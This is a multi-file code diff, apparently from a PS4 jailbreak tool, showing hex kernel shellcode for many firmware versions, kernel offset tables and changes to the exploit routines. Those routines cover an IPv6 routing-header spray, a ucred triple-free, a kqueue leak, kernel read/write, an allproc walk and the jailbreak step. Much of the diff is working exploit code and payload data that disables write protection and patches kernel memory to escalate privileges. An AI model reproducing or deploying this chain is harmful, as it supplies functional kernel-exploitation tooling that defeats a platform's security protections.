'8.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c24d7f0c0066898174466200c681cd0a0000ebc6813d403a00ebc68181403a00ebc681fd403a00ebc68141413a00ebc681ed423a00ebc6819d473a00ebc6816d483a00eb6689b15f4f6200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681d6f32200eb66448989dbd614006644899174740100c6812f7c0100ebc78140d03a004831c0c3c681ea26080037c681ed26080037c781d0c70f0102000000488991d8c70f01c781fcc70f01010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb06000041bbeb48000031d231f666898163020300bf0100000048b84183bfa00400000041b8010000004889816b020300b80400000041b9498bffff6689817d020300b8040000006689818a020300b805000000668981a2020300b8050000006644899921020300c78179020300498b87d0c6817f02030000c78186020300498bb7b0c6818c02030000c7819e020300498b8740c681a402030000c781ab020300498bb720668981af020300c681b102030000c781c3020300498dbfc0668991c7020300c681c902030000c781cf020300498dbfe06689b1d3020300c681d502030000c781e2020300498dbf006689b9e6020300c681e802030000c781ee020300498dbf2066448981f2020300c681f40203000066448989ff020300c68101030300ff0f20c0480d000001000f22c031c0c3',
'9.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2edc5040066898174686200c681cd0a0000ebc681fd132700ebc68141142700ebc681bd142700ebc68101152700ebc681ad162700ebc6815d1b2700ebc6812d1c2700eb6689b15f716200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b080066448991c4ae2300c6817fb62300ebc781401b22004831c0c3c6812a63160037c6812d63160037c781200510010200000048899128051001c7814c051001010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb06000041bbeb48000031d231f6668981435a4100bf0100000048b84183bfa00400000041b8010000004889814b5a4100b80400000041b9498bffff6689815d5a4100b8040000006689816a5a4100b805000000668981825a4100b80500000066448999015a4100c781595a4100498b87d0c6815f5a410000c781665a4100498bb7b0c6816c5a410000c7817e5a4100498b8740c681845a410000c7818b5a4100498bb7206689818f5a4100c681915a410000c781a35a4100498dbfc0668991a75a4100c681a95a410000c781af5a4100498dbfe06689b1b35a4100c681b55a410000c781c25a4100498dbf006689b9c65a4100c681c85a410000c781ce5a4100498dbf2066448981d25a4100c681d45a41000066448989df5a4100c681e15a4100ff0f20c0480d000001000f22c031c0c3',
'9.03': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c29b30050066898134486200c681cd0a0000ebc6817d102700ebc681c1102700ebc6813d112700ebc68181112700ebc6812d132700ebc681dd172700ebc681ad182700eb6689b11f516200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c681061a0000eb664489898b0b08006644899194ab2300c6814fb32300ebc781101822004831c0c3c681da62160037c681dd62160037c78120c50f010200000048899128c50f01c7814cc50f01010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb06000041bbeb48000031d231f6668981b3394100bf0100000048b84183bfa00400000041b801000000488981bb394100b80400000041b9498bffff668981cd394100b804000000668981da394100b805000000668981f2394100b8050000006644899971394100c781c9394100498b87d0c681cf39410000c781d6394100498bb7b0c681dc39410000c781ee394100498b8740c681f439410000c781fb394100498bb720668981ff394100c681013a410000c781133a4100498dbfc0668991173a4100c681193a410000c7811f3a4100498dbfe06689b1233a4100c681253a410000c781323a4100498dbf006689b9363a4100c681383a410000c7813e3a4100498dbf2066448981423a4100c681443a410000664489894f3a4100c681513a4100ff0f20c0480d000001000f22c031c0c3',
'9.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2ad580100668981e44a6200c681cd0a0000ebc6810d1c2000ebc681511c2000ebc681cd1c2000ebc681111d2000ebc681bd1e2000ebc6816d232000ebc6813d242000eb6689b1cf536200c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68136a51f00eb664489893b6d19006644899124f71900c681dffe1900ebc781601901004831c0c3c6817a2d120037c6817d2d120037c78100950f010200000048899108950f01c7812c950f01010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb06000041bbeb48000031d231f6668981b3770d00bf0100000048b84183bfa00400000041b801000000488981bb770d00b80400000041b9498bffff668981cd770d00b804000000668981da770d00b805000000668981f2770d00b8050000006644899971770d00c781c9770d00498b87d0c681cf770d0000c781d6770d00498bb7b0c681dc770d0000c781ee770d00498b8740c681f4770d0000c781fb770d00498bb720668981ff770d00c68101780d0000c78113780d00498dbfc066899117780d00c68119780d0000c7811f780d00498dbfe06689b123780d00c68125780d0000c78132780d00498dbf006689b936780d00c68138780d0000c7813e780d00498dbf206644898142780d00c68144780d0000664489894f780d00c68151780d00ff0f20c0480d000001000f22c031c0c3',
'10.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb000000beeb000000bfeb00000041b8eb00000041b9eb04000041ba90e9ffff4881c2f166000066898164e86100c681cd0a0000ebc6816d2c4700ebc681b12c4700ebc6812d2d4700ebc681712d4700ebc6811d2f4700ebc681cd334700ebc6819d344700eb6689b14ff16100c7819004000000000000c681c2040000eb6689b9b904000066448981b5040000c68156772600eb664489897b20390066448991a4fa1800c6815f021900ebc78140ea1b004831c0c3c6819ad50e0037c6819dd50e0037c781a02f100102000000488991a82f1001c781cc2f1001010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb06000041bbeb48000031d231f666898183362d00bf0100000048b84183bfa00400000041b8010000004889818b362d00b80400000041b9498bffff6689819d362d00b804000000668981aa362d00b805000000668981c2362d00b8050000006644899941362d00c78199362d00498b87d0c6819f362d0000c781a6362d00498bb7b0c681ac362d0000c781be362d00498b8740c681c4362d0000c781cb362d00498bb720668981cf362d00c681d1362d0000c781e3362d00498dbfc0668991e7362d00c681e9362d0000c781ef362d00498dbfe06689b1f3362d00c681f5362d0000c78102372d00498dbf006689b906372d00c68108372d0000c7810e372d00498dbf206644898112372d00c68114372d0000664489891f372d00c68121372d00ff0f20c0480d000001000f22c031c0c3',
'10.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb00000066898113302100b8eb04000041b9eb00000041baeb000000668981ecb2470041bbeb000000b890e9ffff4881c22d0c05006689b1233021006689b94330210066448981b47d6200c681cd0a0000ebc681bd720d00ebc68101730d00ebc6817d730d00ebc681c1730d00ebc6816d750d00ebc6811d7a0d00ebc681ed7a0d00eb664489899f866200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681c6c10800eb668981d42a2100c7818830210090e93c01c78160ab2d004831c0c3c6812ac4190037c6812dc4190037c781d02b100102000000488991d82b1001c781fc2b1001010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb480000ba040000004531c04531c9be05000000668981f1c93400b8eb060000bf0500000066898133ca340041ba0100000048b84183bfa00400000041bb010000004889813bca3400b8040000006689814dca3400b8498bffffc78149ca3400498b87d0c6814fca340000c78156ca3400498bb7b06689915aca3400c6815cca340000c7816eca3400498b87406689b172ca3400c68174ca340000c7817bca3400498bb7206689b97fca3400c68181ca340000c78193ca3400498dbfc06644898197ca3400c68199ca340000c7819fca3400498dbfe066448989a3ca3400c681a5ca340000c781b2ca3400498dbf0066448991b6ca3400c681b8ca340000c781beca3400498dbf2066448999c2ca3400c681c4ca340000668981cfca3400c681d1ca3400ff0f20c0480d000001000f22c031c0c3',
'11.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981334c1e00b8eb04000041b9eb00000041baeb000000668981ecc8350041bbeb000000b890e9ffff4881c2611807006689b1434c1e006689b9634c1e0066448981643f6200c681cd0a0000ebc6813ddd2d00ebc68181dd2d00ebc681fddd2d00ebc68141de2d00ebc681eddf2d00ebc6819de42d00ebc6816de52d00eb664489894f486200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126154300eb668981f4461e00c781a84c1e0090e93c01c781e08c08004831c0c3c6816a62150037c6816d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb480000ba040000004531c04531c9be05000000668981b1db3000b8eb060000bf05000000668981f3db300041ba0100000048b84183bfa00400000041bb01000000488981fbdb3000b8040000006689810ddc3000b8498bffffc78109dc3000498b87d0c6810fdc300000c78116dc3000498bb7b06689911adc3000c6811cdc300000c7812edc3000498b87406689b132dc3000c68134dc300000c7813bdc3000498bb7206689b93fdc3000c68141dc300000c78153dc3000498dbfc06644898157dc3000c68159dc300000c7815fdc3000498dbfe06644898963dc3000c68165dc300000c78172dc3000498dbf006644899176dc3000c68178dc300000c7817edc3000498dbf206644899982dc3000c68184dc3000006689818fdc3000c68191dc3000ff0f20c0480d000001000f22c031c0c3',
'11.02': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981534c1e00b8eb04000041b9eb00000041baeb0000006689810cc9350041bbeb000000b890e9ffff4881c2611807006689b1634c1e006689b9834c1e0066448981043f6200c681cd0a0000ebc6815ddd2d00ebc681a1dd2d00ebc6811dde2d00ebc68161de2d00ebc6810de02d00ebc681bde42d00ebc6818de52d00eb66448989ef476200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681b6144300eb66898114471e00c781c84c1e0090e93c01c781e08c08004831c0c3c6818a62150037c6818d62150037c781701910010200000048899178191001c7819c191001010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb480000ba040000004531c04531c9be05000000668981d1db3000b8eb060000bf0500000066898113dc300041ba0100000048b84183bfa00400000041bb010000004889811bdc3000b8040000006689812ddc3000b8498bffffc78129dc3000498b87d0c6812fdc300000c78136dc3000498bb7b06689913adc3000c6813cdc300000c7814edc3000498b87406689b152dc3000c68154dc300000c7815bdc3000498bb7206689b95fdc3000c68161dc300000c78173dc3000498dbfc06644898177dc3000c68179dc300000c7817fdc3000498dbfe06644898983dc3000c68185dc300000c78192dc3000498dbf006644899196dc3000c68198dc300000c7819edc3000498dbf2066448999a2dc3000c681a4dc300000668981afdc3000c681b1dc3000ff0f20c0480d000001000f22c031c0c3',
'11.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981acbe2f0041bbeb000000b890e9ffff4881c2150307006689b1b3761b006689b9d3761b0066448981b4786200c681cd0a0000ebc681edd22b00ebc68131d32b00ebc681add32b00ebc681f1d32b00ebc6819dd52b00ebc6814dda2b00ebc6811ddb2b00eb664489899f816200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681a6123900eb66898164711b00c78118771b0090e93c01c78120d63b004831c0c3c6813aa61f0037c6813da61f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb480000ba040000004531c04531c9be0500000066898151551200b8eb060000bf050000006689819355120041ba0100000048b84183bfa00400000041bb010000004889819b551200b804000000668981ad551200b8498bffffc781a9551200498b87d0c681af55120000c781b6551200498bb7b0668991ba551200c681bc55120000c781ce551200498b87406689b1d2551200c681d455120000c781db551200498bb7206689b9df551200c681e155120000c781f3551200498dbfc066448981f7551200c681f955120000c781ff551200498dbfe06644898903561200c6810556120000c78112561200498dbf006644899116561200c6811856120000c7811e561200498dbf206644899922561200c68124561200006689812f561200c68131561200ff0f20c0480d000001000f22c031c0c3',
'12.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981a3761b00b8eb04000041b9eb00000041baeb000000668981ecc02f0041bbeb000000b890e9ffff4881c2717904006689b1b3761b006689b9d3761b0066448981f47a6200c681cd0a0000ebc681cdd32b00ebc68111d42b00ebc6818dd42b00ebc681d1d42b00ebc6817dd62b00ebc6812ddb2b00ebc681fddb2b00eb66448989df836200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c681e6143900eb66898164711b00c78118771b0090e93c01c78160d83b004831c0c3c6811aa71f0037c6811da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c00f20c04825fffffeff0f22c0b8eb480000ba040000004531c04531c9be0500000066898151551200b8eb060000bf050000006689819355120041ba0100000048b84183bfa00400000041bb010000004889819b551200b804000000668981ad551200b8498bffffc781a9551200498b87d0c681af55120000c781b6551200498bb7b0668991ba551200c681bc55120000c781ce551200498b87406689b1d2551200c681d455120000c781db551200498bb7206689b9df551200c681e155120000c781f3551200498dbfc066448981f7551200c681f955120000c781ff551200498dbfe06644898903561200c6810556120000c78112561200498dbf006644899116561200c6811856120000c7811e561200498dbf206644899922561200c68124561200006689812f561200c68131561200ff0f20c0480d000001000f22c031c0c3',
'12.50': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b00b8eb04000041b9eb00000041baeb0000006689812cc12f0041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981347b6200c681cd0a0000ebc6810dd42b00ebc68151d42b00ebc681cdd42b00ebc68111d52b00ebc681bdd62b00ebc6816ddb2b00ebc6813ddc2b00eb664489891f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68126153900eb668981a4711b00c78158771b0090e93c01c781a0d83b004831c0c3c6815aa71f0037c6815da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3',
'13.00': 'b9820000c00f3248c1e22089c04809c2488d8a40feffff0f20c04825fffffeff0f22c0b8eb040000beeb040000bf90e9ffff41b8eb000000668981e3761b00b8eb04000041b9eb00000041baeb0000006689814cc12f0041bbeb000000b890e9ffff4881c2717904006689b1f3761b006689b913771b0066448981847b6200c681cd0a0000ebc6812dd42b00ebc68171d42b00ebc681edd42b00ebc68131d52b00ebc681ddd62b00ebc6818ddb2b00ebc6815ddc2b00eb664489896f846200c7819004000000000000c681c2040000eb66448991b904000066448999b5040000c68146153900eb668981a4711b00c78158771b0090e93c01c781c0d83b004831c0c3c6817aa71f0037c6817da71f0037c781802d100102000000488991882d1001c781ac2d1001010000000f20c0480d000001000f22c031c0c3',
}
// Mmap RWX patch offsets per firmware (for verification)
// These are the offsets where 0x33 is patched to 0x37
const kpatch_mmap_offsets: Record<string, [number, number]> = {
// TODO: missing 5.00 to 8.50
5.55: [0x3c2899, 0x3c289c], // TODO: verify
5.56: [0x24026d, 0x240270], // TODO: verify
'5.55': [0x3c2899, 0x3c289c], // TODO: verify
'5.56': [0x24026d, 0x240270], // TODO: verify
'6.00': [0x24026d, 0x240270], // TODO: verify
'6.20': [0x24026d, 0x240270], // TODO: verify
'6.50': [0xab57a, 0xab57d], // TODO: verify
@@ -50,67 +49,67 @@ const kpatch_mmap_offsets: Record<string, [number, number]> = {
'8.00': [0xfd03a, 0xfd03d], // TODO: verify
'8.50': [0x826ea, 0x826ed], // TODO: verify
'9.00': [0x16632a, 0x16632d], // TODO: verify
9.03: [0x1662da, 0x1662dd], // TODO: verify
'9.03': [0x1662da, 0x1662dd], // TODO: verify
'9.50': [0x122d7a, 0x122d7d], // TODO: verify
'10.00': [0xed59a, 0xed59d], // TODO: verify
'10.50': [0x19c42a, 0x19c42d], // TODO: verify
'11.00': [0x15626a, 0x15626d],
11.02: [0x15628a, 0x15628d],
'11.02': [0x15628a, 0x15628d],
'11.50': [0x1fa63a, 0x1fa63d],
'12.00': [0x1fa71a, 0x1fa71d],
'12.50': [0x1fa75a, 0x1fa75d],
'13.00': [0x1fa77a, 0x1fa77d],
13.02: [0x1fa78a, 0x1fa78d],
'13.02': [0x1fa78a, 0x1fa78d],
}
const shellcode_fw_map = {
'5.00': '5.00',
5.01: '5.00',
5.03: '5.03',
5.05: '5.03',
5.07: '5.03',
'5.01': '5.00',
'5.03': '5.03',
'5.05': '5.03',
'5.07': '5.03',
'5.50': '5.50',
5.53: '5.53',
5.55: '5.55',
5.56: '5.56',
'5.53': '5.53',
'5.55': '5.55',
'5.56': '5.56',
'6.00': '6.00',
6.02: '6.00',
'6.02': '6.00',
'6.20': '6.20',
'6.50': '6.50',
6.51: '6.50',
'6.51': '6.50',
'6.70': '6.70',
6.71: '6.70',
6.72: '6.70',
'6.71': '6.70',
'6.72': '6.70',
'7.00': '7.00',
7.01: '7.00',
7.02: '7.00',
'7.01': '7.00',
'7.02': '7.00',
'7.50': '7.50',
7.51: '7.50',
7.55: '7.50',
'7.51': '7.50',
'7.55': '7.50',
'8.00': '8.00',
8.01: '8.00',
8.03: '8.00',
'8.01': '8.00',
'8.03': '8.00',
'8.50': '8.50',
8.52: '8.50',
'8.52': '8.50',
'9.00': '9.00',
9.03: '9.03',
9.04: '9.03',
'9.03': '9.03',
'9.04': '9.03',
'9.50': '9.50',
9.51: '9.50',
'9.51': '9.50',
'9.60': '9.50',
'10.00': '10.00',
10.01: '10.00',
'10.01': '10.00',
'10.50': '10.50',
'10.70': '10.50',
10.71: '10.50',
'10.71': '10.50',
'11.00': '11.00',
11.02: '11.02',
'11.02': '11.02',
'11.50': '11.50',
11.52: '11.50',
'11.52': '11.50',
'12.00': '12.00',
12.02: '12.00',
'12.02': '12.00',
'12.50': '12.50',
12.52: '12.50',
'12.52': '12.50',
'13.00': '13.00',
}
@@ -389,53 +388,53 @@ const offset_ps4_12_50 = { // AND 12.52, 13.00
// Map firmware versions to offset objects
export const ps4_kernel_offset_list = {
'5.00': offset_ps4_5_00,
5.01: offset_ps4_5_00,
5.03: offset_ps4_5_03,
5.05: offset_ps4_5_05,
5.07: offset_ps4_5_05,
'5.01': offset_ps4_5_00,
'5.03': offset_ps4_5_03,
'5.05': offset_ps4_5_05,
'5.07': offset_ps4_5_05,
'5.50': offset_ps4_5_50,
5.53: offset_ps4_5_53,
5.55: offset_ps4_5_55,
5.56: offset_ps4_5_56,
'5.53': offset_ps4_5_53,
'5.55': offset_ps4_5_55,
'5.56': offset_ps4_5_56,
'6.00': offset_ps4_6_00,
6.02: offset_ps4_6_00,
'6.02': offset_ps4_6_00,
'6.20': offset_ps4_6_20,
'6.50': offset_ps4_6_50,
6.51: offset_ps4_6_51,
'6.51': offset_ps4_6_51,
'6.70': offset_ps4_6_70,
6.71: offset_ps4_6_70,
6.72: offset_ps4_6_70,
'6.71': offset_ps4_6_70,
'6.72': offset_ps4_6_70,
'7.00': offset_ps4_7_00,
7.01: offset_ps4_7_00,
7.02: offset_ps4_7_00,
'7.01': offset_ps4_7_00,
'7.02': offset_ps4_7_00,
'7.50': offset_ps4_7_50,
7.51: offset_ps4_7_51,
7.55: offset_ps4_7_51,
'7.51': offset_ps4_7_51,
'7.55': offset_ps4_7_51,
'8.00': offset_ps4_8_00,
8.01: offset_ps4_8_00,
8.02: offset_ps4_8_00,
8.03: offset_ps4_8_00,
'8.01': offset_ps4_8_00,
'8.02': offset_ps4_8_00,
'8.03': offset_ps4_8_00,
'8.50': offset_ps4_8_50,
8.52: offset_ps4_8_50,
'8.52': offset_ps4_8_50,
'9.00': offset_ps4_9_00,
9.03: offset_ps4_9_03,
9.04: offset_ps4_9_03,
'9.03': offset_ps4_9_03,
'9.04': offset_ps4_9_03,
'9.50': offset_ps4_9_50,
9.51: offset_ps4_9_50,
'9.51': offset_ps4_9_50,
'9.60': offset_ps4_9_50,
'10.00': offset_ps4_10_00,
10.01: offset_ps4_10_00,
'10.01': offset_ps4_10_00,
'10.50': offset_ps4_10_50,
'10.70': offset_ps4_10_50,
10.71: offset_ps4_10_50,
'10.71': offset_ps4_10_50,
'11.00': offset_ps4_11_00,
11.02: offset_ps4_11_02,
'11.02': offset_ps4_11_02,
'11.50': offset_ps4_11_50,
11.52: offset_ps4_11_50,
'11.52': offset_ps4_11_50,
'12.00': offset_ps4_12_00,
12.02: offset_ps4_12_00,
'12.02': offset_ps4_12_00,
'12.50': offset_ps4_12_50,
12.52: offset_ps4_12_50,
'12.52': offset_ps4_12_50,
'13.00': offset_ps4_12_50,
}
+13
View File
@@ -10,6 +10,7 @@ export const lang: Record<string, string> = {
autoLapse: 'Auto Lapse',
autoPoop: 'Auto Poop',
autoClose: 'Auto Close',
music: 'Music',
jbBehavior: 'JB Behavior',
jbBehaviorAuto: 'Auto Detect',
jbBehaviorNetctrl: 'NetControl',
@@ -48,6 +49,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Auto Cerrar'
lang.music = 'Musica'
lang.jbBehavior = 'Comportamiento JB'
lang.jbBehaviorAuto = 'Auto Detectar'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -136,6 +138,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Fechar Auto'
lang.music = 'Musica'
lang.jbBehavior = 'Comportamento JB'
lang.jbBehaviorAuto = 'Auto Detectar'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -161,6 +164,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Fermer Auto'
lang.music = 'Musique'
lang.jbBehavior = 'Comportement JB'
lang.jbBehaviorAuto = 'Auto Detecter'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -186,6 +190,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Auto Schliessen'
lang.music = 'Musik'
lang.jbBehavior = 'JB Verhalten'
lang.jbBehaviorAuto = 'Auto Erkennen'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -211,6 +216,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Chiudi Auto'
lang.music = 'Musica'
lang.jbBehavior = 'Comportamento JB'
lang.jbBehaviorAuto = 'Auto Rileva'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -236,6 +242,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Auto Sluiten'
lang.music = 'Muziek'
lang.jbBehavior = 'JB Gedrag'
lang.jbBehaviorAuto = 'Auto Detectie'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -261,6 +268,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Auto Zamknij'
lang.music = 'Muzyka'
lang.jbBehavior = 'Zachowanie JB'
lang.jbBehaviorAuto = 'Auto Wykryj'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -286,6 +294,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'Otomatik Kapat'
lang.music = 'Muzik'
lang.jbBehavior = 'JB Davranisi'
lang.jbBehaviorAuto = 'Otomatik Algilama'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -311,6 +320,7 @@ switch (detectedLocale) {
lang.autoLapse = 'Auto Lapse'
lang.autoPoop = 'Auto Poop'
lang.autoClose = 'اغلاق تلقائي'
lang.music = 'موسيقى'
lang.jbBehavior = 'سلوك JB'
lang.jbBehaviorAuto = 'كشف تلقائي'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -336,6 +346,7 @@ switch (detectedLocale) {
lang.autoLapse = '自動Lapse'
lang.autoPoop = '自動Poop'
lang.autoClose = '自動終了'
lang.music = '音楽'
lang.jbBehavior = 'JB動作'
lang.jbBehaviorAuto = '自動検出'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -361,6 +372,7 @@ switch (detectedLocale) {
lang.autoLapse = '자동 Lapse'
lang.autoPoop = '자동 Poop'
lang.autoClose = '자동 닫기'
lang.music = '음악'
lang.jbBehavior = 'JB 동작'
lang.jbBehaviorAuto = '자동 감지'
lang.jbBehaviorNetctrl = 'NetControl'
@@ -386,6 +398,7 @@ switch (detectedLocale) {
lang.autoLapse = '自动Lapse'
lang.autoPoop = '自动Poop'
lang.autoClose = '自动关闭'
lang.music = '音乐'
lang.jbBehavior = 'JB行为'
lang.jbBehaviorAuto = '自动检测'
lang.jbBehaviorNetctrl = 'NetControl'
-3
View File
@@ -96,8 +96,6 @@ const TCP_INFO = 32
const TCPS_ESTABLISHED = 4
const size_tcp_info = 0xec /* struct tcp_info */
var lapse_ran = false
// Create shorthand references
fn.register(42, 'pipe', ['bigint'], 'bigint')
const pipe = fn.pipe
@@ -2065,7 +2063,6 @@ export function lapse () {
cleanup()
lapse_ran = true
return true
} catch (e) {
log('Lapse error: ' + (e as Error).message)
+5 -3
View File
@@ -25,9 +25,11 @@ log('All scripts loaded')
stats.load()
export function show_success () {
jsmaf.root.children.push(bg_success)
log('Logging Success...')
stats.incrementSuccess()
setTimeout(() => {
jsmaf.root.children.push(bg_success)
log('Logging Success...')
stats.incrementSuccess()
}, 2000)
}
const audio = new jsmaf.AudioClip()
+5 -3
View File
@@ -21,9 +21,11 @@ import { fn, BigInt } from 'download0/types'
new Style({ name: 'white', color: 'white', size: 24 })
new Style({ name: 'title', color: 'white', size: 32 })
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
if (typeof CONFIG !== 'undefined' && CONFIG.music) {
const audio = new jsmaf.AudioClip()
audio.volume = 0.5 // 50% volume
audio.open('file://../download0/sfx/bgm.wav')
}
const background = new Image({
url: 'file:///../download0/img/multiview_bg_VAF.png',
+139 -43
View File
@@ -139,10 +139,10 @@ const MAIN_LOOP_ITERATIONS = 3
const TRIPLEFREE_ITERATIONS = 8
const KQUEUE_ITERATIONS = 5000
const MAX_ROUNDS_TWIN = 10
const MAX_ROUNDS_TWIN = 5
const MAX_ROUNDS_TRIPLET = 200
const MAIN_CORE = 7
const MAIN_CORE = 4
const MAIN_RTPRIO = 0x100
const RTP_LOOKUP = 0
@@ -656,6 +656,7 @@ function init () {
let prev_core: number = -1
let prev_rtprio: number = -1
let cleanup_called: boolean = false
function setup () {
debug('Preparing netctrl...')
@@ -733,6 +734,8 @@ function setup () {
}
function cleanup (kill_workers = false) {
if (cleanup_called) return
cleanup_called = true
debug('Cleaning up...')
// Close ipv6 sockets first (not blocking)
@@ -815,12 +818,23 @@ function find_twins () {
let val
let i
let j
let zeroMemoryCount = 0
// Minimizing the usage of BigInt class
const spray_add = spray_rthdr.add(0x04)
const lead_add = leak_rthdr.add(0x04)
while (count < MAX_ROUNDS_TWIN) {
if (debugging.info.memory.available === 0) {
zeroMemoryCount++
if (zeroMemoryCount >= 5) {
log('netctrl failed!')
cleanup()
return false
}
} else {
zeroMemoryCount = 0
}
if (count % 10 === 0) {
// debug("find_twins iteration: " + count);
}
@@ -1088,22 +1102,47 @@ function setup_arbitrary_rw () {
}
function find_allproc () {
debug('find_allproc - Creating pipe...')
pipe(pipe_sock)
const pipe_0 = read32(pipe_sock)
const pipe_1 = read32(pipe_sock.add(0x04))
debug('find_allproc - pipe fds: ' + pipe_0 + ', ' + pipe_1)
write32(sockopt_val_buf, Number(getpid()))
debug('find_allproc - Writing pid to buffer...')
const pid = Number(getpid())
debug('find_allproc - pid: ' + pid)
write32(sockopt_val_buf, pid)
debug('find_allproc - Calling ioctl FIOSETOWN...')
ioctl(new BigInt(pipe_0), FIOSETOWN, sockopt_val_buf)
debug('find_allproc - ioctl done')
debug('find_allproc - Getting fp...')
const fp = fget(pipe_0)
debug('find_allproc - fp: ' + hex(fp))
debug('find_allproc - Reading f_data...')
const f_data = kread64(fp.add(0x00))
debug('find_allproc - f_data: ' + hex(f_data))
debug('find_allproc - Reading pipe_sigio...')
const pipe_sigio = kread64(f_data.add(0xd0))
debug('find_allproc - pipe_sigio: ' + hex(pipe_sigio))
debug('find_allproc - Reading p...')
let p = kread64(pipe_sigio)
debug('find_allproc - initial p: ' + hex(p))
kernel.addr.curproc = p // Set global curproc
debug('find_allproc - Walking process list...')
let walk_count = 0
while (!(p.and(new BigInt(0xFFFFFFFF, 0x00000000))).eq(new BigInt(0xFFFFFFFF, 0x00000000))) {
p = kread64(p.add(0x08)) // p_list.le_prev
walk_count++
if (walk_count % 100 === 0) {
debug('find_allproc - walk_count: ' + walk_count + ' p: ' + hex(p))
}
}
debug('find_allproc - Found allproc after ' + walk_count + ' iterations')
close(new BigInt(pipe_1))
close(new BigInt(pipe_0))
@@ -1112,12 +1151,14 @@ function find_allproc () {
}
function jailbreak () {
debug('jailbreak - Starting...')
if (!kernel_offset) {
throw new Error('Kernel offsets not loaded')
}
if (FW_VERSION === null) {
throw new Error('FW_VERSION is null')
}
debug('jailbreak - Calling find_allproc...')
kernel.addr.allproc = find_allproc() // Set global allproc
debug('allproc: ' + hex(kernel.addr.allproc))
@@ -1316,6 +1357,9 @@ function trigger_ucred_triplefree () {
end = find_twins()
if (!end) {
if (cleanup_called) {
throw new Error('Netctrl failed - Reboot and try again')
}
// Clean up and start again
close(new BigInt(uaf_socket))
continue
@@ -1408,8 +1452,8 @@ function leak_kqueue () {
// debug(' Memory: avail=' + debugging.info.memory.available + ' dmem=' + debugging.info.memory.available_dmem + ' libc=' + debugging.info.memory.available_libc);
debug('Leaking kqueue...')
// Free one. From this point we are going to use only twins
